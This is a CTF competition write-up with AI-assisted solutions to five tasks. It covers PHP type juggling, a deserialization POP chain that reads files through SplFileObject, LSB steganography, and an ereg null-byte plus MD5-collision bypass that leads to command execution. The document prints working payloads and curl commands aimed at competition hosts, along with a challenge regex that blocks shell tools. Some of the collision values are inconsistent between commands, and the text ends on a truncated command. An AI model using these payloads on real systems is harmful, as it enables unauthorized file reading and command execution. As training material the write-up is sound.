第二届全国网络安全行业职业技能大赛初赛第二批次(渗透测试员-南部赛区)CTF WP by 静安

[!abstract] 赛后总结
时间太紧张了,一开始想着理论题能保底,狂刷了180到理论题,后来做实操题的时候发现实操体简单的令人发指,早知道就先做实操题了。图片隐写和木马分析卡了,图片隐写是因为没有找到html的特定工具,我真是太讨厌这些需要特定工具的图片题目了。木马分析没找到helper。题目5本来做出来了,时间到了没交上flag,一个半小时时间还是比较紧张。

全套题目包括web题目已根据回忆用AI复现了模拟靶场,一键docker启动,关注公众号“泷羽Sec-静安“,后台回复”第二届全国网络安全行业职业技能大赛初赛“即可领取。

题目 1

任务1: 源码审计

任务描述: 这是一个风景欣赏网站,但其源码中隐藏了不为人知的秘密。 提交要求: 进行简单的代码审计,绕过逻辑判断获取flag并提交。

收起靶机信息

**靶机地址:**http://171.111.222.4:11002

用户名:-

密码:-


<?php  
highlight_file(__FILE__);  
include("flag.php");  
header("Content-type: text/html; charset=utf-8");  
$num = $_GET['num'];  
$cmd = $_GET['cmd'];  
if(preg_match("/[0-9]/", $num))  
{  
    die("no!");  
}  
if(intval($num))  
{  
  
    echo "give you flag: ".$flag;  
}

丢AI直接分析

核心思路:$num 不是字符串,而是数组,这样就能同时绕过两个 if,拿到 flag ✅

先分析一下代码逻辑:

$num = $_GET['num'];
$cmd = $_GET['cmd'];

if(preg_match("/[0-9]/", $num))
{
    die("no!");
}

if(intval($num))
{
    echo "give you flag: ".$flag;
}

想拿到 flag,必须让:

  1. preg_match("/[0-9]/", $num) 结果是 false(或报错返回 0/false),不能 die("no!")

  2. intval($num) 的结果为 非 0,这样才能进入第二个 if

同时题目还限制:$num 中不能出现 0–9 这些字符

绕过关键点:让 $num 变成数组

PHP 里,如果你这样传参数:

?num[]=abc

那么在 PHP 里:

$num == array(0 => "abc");  // 也就是 $num 是一个数组

接下来看看两处判断在数组情况下的行为:

1. preg_match("/[0-9]/", $num)

preg_match 第二个参数必须是字符串,如果你给它传数组,会怎样?

  • 会产生一个 warning:preg_match(): Argument #2 ($subject) must be of type string, array given

  • 返回值是 false(0)

也就是说:

if (preg_match("/[0-9]/", $num)) {
    die("no!");
}

$num 是数组时,这个 if 条件为 false,不会 die("no!"),第一关绕过 ✅

(注意:即便数组里面的元素是 "1", "2" 等带数字,preg_match 根本不会去遍历数组内容,它直接因为类型不对就失败了)

2. if(intval($num))

当你对数组做 intval() / (int) 强制转换时,PHP 的行为是:

  • 非空数组 → 转为 int 1

  • 空数组 array() → 转为 int 0

也就是说:

intval(array('abc')) === 1;

所以:

if (intval($num)) {
    echo "give you flag: ".$flag;
}

$num 是一个 非空数组 时,就会进入 if,输出 flag ✅

最终利用方法(payload)

直接构造请求,让 num 是一个非空数组即可,比如:

GET 方式访问:
http://your-target.com/index.php?num[]=abc

abc 里面爱怎么写都行,甚至可以带数字,因为 preg_match 根本不会对数组内部做匹配:

http://your-target.com/index.php?num[]=123

在这两种情况下,执行流程是:

  1. $num = $_GET['num'];$num 是数组

  2. preg_match("/[0-9]/", $num) 报 warning,返回 0 → 不会 die

  3. intval($num) → 1(非 0)→ 条件为 true

  4. 输出:

give you flag: flag{...}

一句话总结

num[]=$num 变成数组,利用 preg_match 对数组报错返回 false + intval(非空数组) == 1 的特性,轻松绕过两层判断拿 flag。

你只要在题目环境里访问类似:

/index.php?num[]=a

就能看到 flag 了 🎯

[!success]
flag{d9729feb74992cc3482b350163a1a010}

题目 2

任务2: 编码还原

任务描述: 附件压缩包中文件包含了一串字符,请分析其编码内容。 提交要求: 还原原始明文flag并提交。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/b2.zip
cyberchef一把梭

LJWXQ2C2GNZTCT2UM54U2MSNGRGWU3DJJZLU2NK2KRHGQTSUNBVE2VCNGRHGUVL2LJKGQ22NI5NG2WSYGA6Q====
ZmxhZ3s1OTgyM2M4MjliNWM5ZTNhNThjMTM4NjUzZThkMGZmZX0=

[!success]
flag{59823c829b5c9e3a58c138653e8d0ffe}

题目 3

任务3: POP链构造

任务描述: 目标站点使用了SPL进行开发。 提交要求: 利用反序列化漏洞构造POP链,结合SPL特性获取服务器权限或读取flag并提交。

收起靶机信息

**靶机地址:**http://171.111.219.56:11013

用户名:-

密码:-

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $username;
    public $password;
    public function __construct()
    {
        $this->username = "happy";
        $this->password = "super";
        $context = new $this->username ($this->password);
        var_dump($context);
        foreach($context as $f){
            echo $f;
        }
    }

    public function __wakeup()
    {
        $con = new $this->username ($this->password);
        foreach($con as $f){
            echo $f;
        }
    }

}
class B{
    var $password;
    public function __construct($user)
    {
        $this->password = $user;
        echo ("hi ".$this->password);
    }
}if(isset($_POST['un'])){
    unserialize($_POST['un']);
}
else{
    $demo=new A;

}

还是直接丢GPT

这题就是典型的 unserialize 链 + 反序列化利用 SplFileObject 读文件 😊

先一起把代码逻辑捋一下(去掉无关的):

error_reporting(0);
highlight_file(__FILE__);

class A{
    public $username;
    public $password;
    public function __construct()
    {
        $this->username = "happy";
        $this->password = "super";
        $context = new $this->username ($this->password);
        var_dump($context);
        foreach($context as $f){
            echo $f;
        }
    }

    public function __wakeup()
    {
        $con = new $this->username ($this->password);
        foreach($con as $f){
            echo $f;
        }
    }

}
class B{
    var $password;
    public function __construct($user)
    {
        $this->password = $user;
        echo ("hi ".$this->password);
    }
}if(isset($_POST['un'])){
    unserialize($_POST['un']);
}
else{
    $demo=new A;
}

关键点:

  • 有个 unserialize($_POST['un']);完全没做过滤,可控。

  • 只要我们反序列化一个 A 类对象,就会自动触发 A::__wakeup()

  • __wakeup() 里干了这件事:

$con = new $this->username ($this->password);
foreach($con as $f){
    echo $f;
}

也就是:

  1. $this->username 当类名,$this->password 当构造参数,去 new 一个对象

  2. 然后对这个对象 foreach,把每一项 echo 出来。

⚠️ 构造函数 __construct 在反序列化时 不会 自动触发,触发的是 __wakeup,所以 我们可以完全控制 $username$password,而不会被构造函数重置成 "happy" / "super"

思路:用 SplFileObject 读 flag 文件

PHP 里有个内置类:SplFileObject,构造方式是:

new SplFileObject("filename");

它是 可遍历的foreach (new SplFileObject("xxx") as $line) 会一行一行遍历文件内容,每个 $line 就是文件的一行。

非常符合我们想要的效果:

$username = "SplFileObject"$password = "flag.php"(或者 flag 文件的真实名字)

然后在 __wakeup() 中:

$con = new SplFileObject("flag.php");
foreach ($con as $f) {
    echo $f;   // 逐行输出 flag.php 的内容
}

💥 获取 flag。

构造恶意序列化数据

要自己构造一个 A 类的序列化对象,带上我们想要的属性:

O:1:"A":2:{
    s:8:"username";s:13:"SplFileObject";
    s:8:"password";s:8:"flag.php";
}

注意几个长度:

  • 类名 A"A" 长度是 1 → O:1:"A":...

  • username 这个单词 8 个字符 → s:8:"username"

  • password 同样 8 个字符 → s:8:"password"

  • "SplFileObject"
    计数:S p l F i l e O b j e c t → 13 个字符 → s:13:"SplFileObject"

  • "flag.php"f(1) l(2) a(3) g(4) .(5) p(6) h(7) p(8) → 8 个字符 → s:8:"flag.php"

所以最终 payload 是:

O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}

实际利用方式示例

直接 POST 过去即可,例如用 curl:

curl -X POST \
  -d 'un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}' \
  http://your-target.com/index.php

如果题目环境中 flag 文件名不是 flag.php,而是 flag/flag/var/www/html/flag 等,就把 "flag.php" 替换掉即可。

如果不知道 flag 文件名怎么办?

还可以用目录遍历类先“探路”:

  1. 第一步:列目录名

    DirectoryIterator

    username = "DirectoryIterator";
    password = ".";
    

    构造:

    O:1:"A":2:{s:8:"username";s:17:"DirectoryIterator";s:8:"password";s:1:".";}
    

    这样在 __wakeup() 中:

    $con = new DirectoryIterator(".");
    foreach($con as $f){
        echo $f; // 会打印文件名(DirectoryIterator 有 __toString)
    }
    

    你可以从输出中找到类似 flag.php / flag_xxx 的文件名。

  2. 第二步:再用 SplFileObject 读具体文件

    换成前面的 SplFileObject + 真正 flag 文件名 再打一发。

总结一下利用链

  • 入口: unserialize($_POST['un']);

  • 魔法方法: A::__wakeup() 自动执行

  • 可控点: 我们可控 A 对象的 usernamepassword

  • 利用点:

    • 设置 $username = "SplFileObject"

    • 设置 $password = "flag.php"(或者真实 flag 文件)

    • 通过 foreach(new SplFileObject(...)) echo $f; 逐行读出文件内容

  • 最终 payload:

    un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}
    

发上去,页面直接把 flag 打出来 👏

如果你贴一下题目目录结构或提示 flag 路径,我可以帮你把 payload 精确到具体文件名。

题目 4

任务4: 图片隐写

任务描述: 这张猫咪图片看起来很普通,但似乎文件尾部藏有东西,或者图片内容经过了特殊处理。 提交要求: 使用隐写工具分析图片,提取隐藏的flag并提交。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/html.png

参考 https://mp.weixin.qq.com/s/**d63Jg5rXuQfDJjqEhtIPbw

html.png的文件名暗示了解出的信息是 HTML实体(Hex编码字符)
这是 stylesuxx.github.io/steganography 这个工具的典型输出特征。

https://stylesuxx.github.io/steganography/

&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;

[!success]
flag{h0w_4bouT_enc0de_4nd_pnG}

想在本地复现 stylesuxx.github.io/steganography 那样的 LSB 解码(并把 &#x..; 等实体转回明文),下面给你一个「尽可能稳健」的 Python 脚本。它会批量尝试多种常见的 LSB 配置(通道组合、使用的 LSB 位数、位面等),并把每种尝试的输出保存为文件,方便你在本地离线排查是哪一种配置能还原出可读文本。

脚本特点:

  • 只依赖 Pillow(PIL)和标准库 html

  • 尝试通道:R、G、B、A、以及混合(RGB 同时读取);

  • 尝试每像素使用 1~4 个最低有效位(LSB);

  • 尝试位面(bitplane)0~3(0=LSB,1=次LSB…);

  • 对每种组合,按两种字节构造顺序(MSB-first / LSB-first)拼字节;

  • 自动做 html.unescape(),并输出可打印字符比例用于判断是否为合理结果;

  • 将每种尝试的原文候选保存到 results/ 目录,文件名注明配置,便于比对。

把下面脚本保存为 lsb_bruteforce.py,安装依赖并运行即可。

# lsb_bruteforce.py
# Usage:
#   pip install pillow
#   python lsb_bruteforce.py html.png
#
# 输出会写入 ./results/ 目录,带每种尝试的配置。

import sys
import os
from PIL import Image
import html
import string

def ensure_dir(d):
    if not os.path.exists(d):
        os.makedirs(d)

def get_pixels(img):
    # Return pixel sequence as list of tuples
    px = list(img.getdata())
    return px

def extract_bits_from_channel_value(val, bitplane, nbits):
    """
    Extract nbits starting at bitplane (0 = LSB) from value.
    Return list of bits as '0'/'1' in order from most-significant-of-extracted to least.
    e.g. val=0bABCDEFGH, bitplane=0, nbits=2 -> extract bits H (bit0) and G (bit1)
    We return them in order [G,H] if we later want MSB-first grouping, but we'll control ordering later.
    """
    bits = []
    for i in range(nbits):
        bpos = bitplane + i
        bits.append( (val >> bpos) & 1 )
    # Return as strings
    return [str(b) for b in bits]

def build_byte_from_bits(bit_list, msb_first=True):
    """Take up to 8 bits (strings '0'/'1') and return an int byte.
       If fewer than 8 bits at end, pad with zeros on the right (least significant side)."""
    if len(bit_list) < 8:
        # pad with '0' to full byte
        bit_list = bit_list + ['0'] * (8 - len(bit_list))
    if msb_first:
        s = ''.join(bit_list[:8])
        return int(s, 2)
    else:
        # LSB-first ordering: first bit is least significant
        s = ''.join(reversed(bit_list[:8]))
        return int(s, 2)

def bits_to_bytes_and_text(bit_stream, msb_first=True, max_chars=200000):
    # group into bytes and try decode as utf-8 (ignore errors)
    bytes_arr = bytearray()
    for i in range(0, len(bit_stream), 8):
        b = build_byte_from_bits(bit_stream[i:i+8], msb_first=msb_first)
        bytes_arr.append(b)
        if len(bytes_arr) >= max_chars:
            break
    try:
        text = bytes_arr.decode('utf-8', errors='replace')
    except Exception:
        text = ''.join(chr(b) for b in bytes_arr)
    return bytes_arr, text

def printable_ratio(s):
    if not s:
        return 0.0
    printable = sum(1 for ch in s if ch in string.printable)
    return printable / len(s)

def try_configs(img_path, outdir='results'):
    img = Image.open(img_path)
    # if image has palette convert to RGBA/RGB
    mode = img.mode
    if mode not in ('RGB', 'RGBA'):
        if 'A' in mode:
            img = img.convert('RGBA')
        else:
            img = img.convert('RGB')

    px = get_pixels(img)
    width, height = img.size
    channels_map = {
        'R': 0, 'G': 1, 'B': 2, 'A': 3
    }
    channel_options = [
        ('R', ['R']),
        ('G', ['G']),
        ('B', ['B']),
        ('A', ['A']) if img.mode == 'RGBA' else None,
        ('RG', ['R','G']),
        ('RB', ['R','B']),
        ('GB', ['G','B']),
        ('RGB', ['R','G','B']),
    ]
    channel_options = [c for c in channel_options if c is not None]

    ensure_dir(outdir)

    total_tries = 0
    for ch_name, ch_list in channel_options:
        for bitplane in range(0, 4):      # which bitplane to start (0 = LSB)
            for nbits in range(1, 5):    # how many LSBs per selected channel (1..4)
                # Build bit stream
                bit_stream = []
                for p in px:
                    # p might be (r,g,b) or (r,g,b,a)
                    for ch in ch_list:
                        idx = channels_map[ch]
                        if idx >= len(p):
                            continue
                        val = p[idx]
                        bits = extract_bits_from_channel_value(val, bitplane, nbits)
                        # We append bits in order of extraction (lower bitplane first)
                        # That yields: [bit_at(bitplane), bit_at(bitplane+1), ...]
                        # The grouping later will try both MSB-first and LSB-first.
                        bit_stream.extend(bits)

                # try two byte bit-orderings: msb_first True & False
                for msb_first in (True, False):
                    total_tries += 1
                    b_arr, txt = bits_to_bytes_and_text(bit_stream, msb_first=msb_first)
                    # post-process: unescape html entities
                    unescaped = html.unescape(txt)
                    pr = printable_ratio(unescaped)
                    # heuristics filename
                    fname = f"{outdir}/out_{ch_name}_bp{bitplane}_nb{nbits}_{'MSB' if msb_first else 'LSB'}.txt"
                    with open(fname, 'w', encoding='utf-8', errors='replace') as f:
                        f.write("=== Metadata ===\n")
                        f.write(f"image: {img_path}\nchannels: {ch_name}\nbitplane(start): {bitplane}\nnbits_per_channel: {nbits}\nbyte_bit_order_msb_first: {msb_first}\n\n")
                        f.write("=== Raw decode (utf-8 replace) ===\n")
                        f.write(txt)
                        f.write("\n\n=== html.unescape ===\n")
                        f.write(unescaped)
                        f.write("\n\n=== Stats ===\n")
                        f.write(f"length chars: {len(unescaped)}\nprintable ratio: {pr:.4f}\n")
                    # print quick summary to console for convenience
                    summary = f"Try {total_tries}: ch={ch_name} bp={bitplane} nb={nbits} msb={msb_first} printable_ratio={pr:.3f} -> {fname}"
                    print(summary)
    print(f"Done. total tries: {total_tries}. Results in: {outdir}/")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python lsb_bruteforce.py path/to/html.png")
        sys.exit(1)
    img_path = sys.argv[1]
    try:
        try_configs(img_path, outdir='results')
    except Exception as e:
        print("Error:", e)
        raise

如何判断哪个结果是“正确的”

  • 打开 results/ 目录下的 .txt 文件,查看 === html.unescape === 部分。

  • 正确的结果通常有高可打印字符比例(printable_ratio 接近 0.9+),并且有明显可读的文本,例如 &#x..; 已被转为 flag{...} 或 URL/ASCII 文本。

  • 如果你发现输出仍然是 HTML 实体(&#x..;),再把那段实体文本用 Python 的 html.unescape()(脚本已经做过)或在线 HTML entity decode 转换一次即可。

可能的进一步步骤(如果上面没解出可读文本)

  • 有些隐写工具把位顺序、通道顺序或字节组装方式弄得更复杂;如果上述尝试都没结果,可以:

    • 增加 bitplane 到更大值(比如 0…7) — 但通常 0…3 就够了;

    • 尝试不同的像素遍历顺序(现在是左到右、上到下);可尝试列优先或分块读取;

    • 如果结果看起来像 Base64(只含字母数字+/=),做一次 base64 解码;

    • 如果结果像二进制加密(无高可打印率),可能还有 XOR/AES 等二次加密,需要额外分析。

很好,你已经跑出 256 个候选结果 — 现在的任务是快速筛出最可能有用的几个文件。下面我先给你一套清晰的判别规则(为什么选),然后给你一个可直接在本地运行的 Python 脚本来自动打分并列出最有希望的前 N 个文件,以及若干简单的命令行快速检查方法。照着做 1–2 分钟就能把 256 个结果缩到 5 个以内。

一、判断“有用”的直观信号(优先级从高到低)

  1. 可打印字符比例高(printable ratio 高) —— 接近 0.8~1.0 极有可能是可读文本。

  2. 包含 HTML 实体 &#x(说明提取出的是实体编码,后续 html.unescape() 会还原) —— 你先前提到就是这种情形。

  3. 包含明显关键字flagFLAGCTF{}httpbase64BEGIN/--BEGIN 等。

  4. 看起来像 Base64(只有 A-Za-z0-9+/= 且长度较长) —— 可能还需 base64 解码。

  5. 低熵但可打印(长序列的英文单词/句子) —— 很可能是最终明文。

  6. 随机乱码、多不可打印字符/非 ASCII —— 通常无用(排除)。

二、如果你想更快(命令行小技巧)

在 Linux / macOS / WSL / Git Bash 下

  • 直接查找包含 flag 的文件:
grep -R -i "flag" results/ -n
  • 找出包含 HTML 实体的文件:
grep -R "&#x" results/ -n
  • 列出含高 printable_ratio 的(假设你没有用脚本产生 ratio,但可以看文件大小或直接 head):
# show first 200 chars of each file (quick glance)
for f in results/*.txt; do echo "==== $f ===="; head -c 200 "$f"; echo; echo; done

在 Windows PowerShell

Select-String -Path .\results\*.txt -Pattern "flag","&#x" -CaseSensitive:$false

三、对 html.unescape() 的进一步处理建议

  • 如果文件内容是 &#x..; 实体 —— 直接用脚本或 html.unescape()(你的 earlier 脚本已做)。

  • 如果解码后得到看起来像 aGVsbG8...(Base64),再做 base64.b64decode()

  • 如果得到奇怪二进制或看起来像随机文本,可能还有 XOR/AES,需要进一步分析(但先不要到那一步,通常不会)。

你可以把 rank_results.py 的输出 top 5 的文件名贴上来,或把其中第1个文件的 === html.unescape === 部分直接粘贴,我来替你把那段进一步还原(HTML 解码 -> Base64 解码 -> 关键词检测 -> 可能的简单 XOR 检查),并给出明确下一步操作。

要不要我现在帮你跑这一轮自动筛选(你把 results/ 打包上传或把 top few 文件内容贴上来)?如果你不想上传,我也会一步步指导你本地运行上面的脚本并解读输出。Python:

import html 
encoded = "&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;" 
print(html.unescape(encoded))

在线工具:

搜索关键词:HTML Entity Decode
任选一个贴进去即可

题目 5

任务5: 逻辑绕过

任务描述: 目标系统存在一处逻辑较为复杂的代码漏洞。 提交要求: 审计代码,构造特定的请求参数绕过安全检查,读取flag并提交。

收起靶机信息

靶机地址: http://203.3.80.99:11006

用户名:-

密码:-

<?php

if (isset($_GET['password']) || isset($_GET['cmd'])) {

    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {

        echo '<p>You password must be alphanumeric</p>';

    } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {

        if (strpos($_GET['password'], '*-*') !== FALSE) {

            $cmd = $_GET['cmd'];

            if (preg_match(
                "/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|\"|`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",
                $cmd
            )) {

                echo("forbid ~");
                echo "<br>";

            } else {

                if ((string)$_POST['a'] !== (string)$_POST['b'] &&
                    md5($_POST['a']) === md5($_POST['b'])) {

                    echo `$cmd`;

                } else {
                    echo ("md5 is funny ~");
                }
            }

        } else {
            echo '<p>*-* have not been found</p>';
        }
    } else {
        echo '<p>Invalid password</p>';
    }
}
highlight_file(__FILE__);
?>

我来帮你分析这段PHP代码的逻辑漏洞。

代码逻辑分析

这段代码有多层检查:

  1. 第一层检查ereg ("^[a-zA-Z0-9]+$", $_GET['password']) - 密码必须是字母数字
  2. 第二层检查strlen($_GET['password']) < 8 && $_GET['password'] > 9999999 - 这里有逻辑漏洞!
  3. 第三层检查strpos ($_GET['password'], '*-*') !== FALSE - 密码必须包含 *-*
  4. 第四层检查preg_match 过滤危险命令
  5. 第五层检查:MD5碰撞 - $_POST['a']$_POST['b'] 必须不同但MD5相同

关键漏洞点

第二层的逻辑问题

strlen($_GET['password']) < 8 && $_GET['password'] > 9999999

这里同时要求:

  • 字符串长度小于8
  • 数值大于9999999

PHP在类型比较时会进行类型转换。当字符串与数字比较时,字符串会被转换为数字。

例如:"1e8" (科学计数法)

  • strlen("1e8") = 3 (小于8) ✓
  • "1e8" > 9999999100000000 > 9999999

但这与第一层和第三层冲突:

  • 第一层要求纯字母数字(ereg允许通过)
  • 第三层要求包含*-*(不是字母数字)

真正的突破口ereg函数的NULL字节截断漏洞!

绕过方案

使用URL编码的NULL字节 %00 来截断ereg的检查:

password=1e8%00*-*
  • ereg只检查到%00前的1e8,认为是纯字母数字 ✓
  • strlen("1e8\0*-*") = 7 < 8 ✓
  • "1e8\0*-*" > 9999999 → 转换为1e8 = 100000000 > 9999999 ✓
  • strpos能找到完整字符串中的*-*

完整的攻击请求

GET参数

?password=1e8%00*-*&cmd=cat flag

POST参数 (MD5碰撞):

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这两个值内容不同但MD5值相同。

这样就可以绕过所有检查,执行cat flag命令读取flag了。> [!question]

flag不一定在这个目录下,怎么看目录有哪些文件,什么命令可以替代ls的功能

好问题!ls 被过滤了,我们可以用这些命令替代:

# 方案1: 使用 dir (Linux也支持)
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=dir' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2'
# 方案2: 使用通配符 * (但*被过滤了,用 printf)
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=printf%20%27%25s%5Cn%27%20*' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
# 方案3: 使用 find (最强大,可以搜索整个系统)
# 搜索当前目录
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
# 方案4: 搜索根目录下所有名为flag的文件
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20/%20%20name%20flag' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

先试试 dirfind . 看看当前目录有什么文件!

完美!找到flag文件了:f1ag098765432.php

现在读取它:

curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

或者用其他命令:

# 使用 strings
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=strings%20f1ag098765432.php' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
# 使用 rev
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=rev%20f1ag098765432.php' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

执行任意一条就能读取到flag了!🚀

# 方案3: 使用 find (最强大,可以搜索整个系统)
# 搜索当前目录
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
  -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
  

curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
  -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
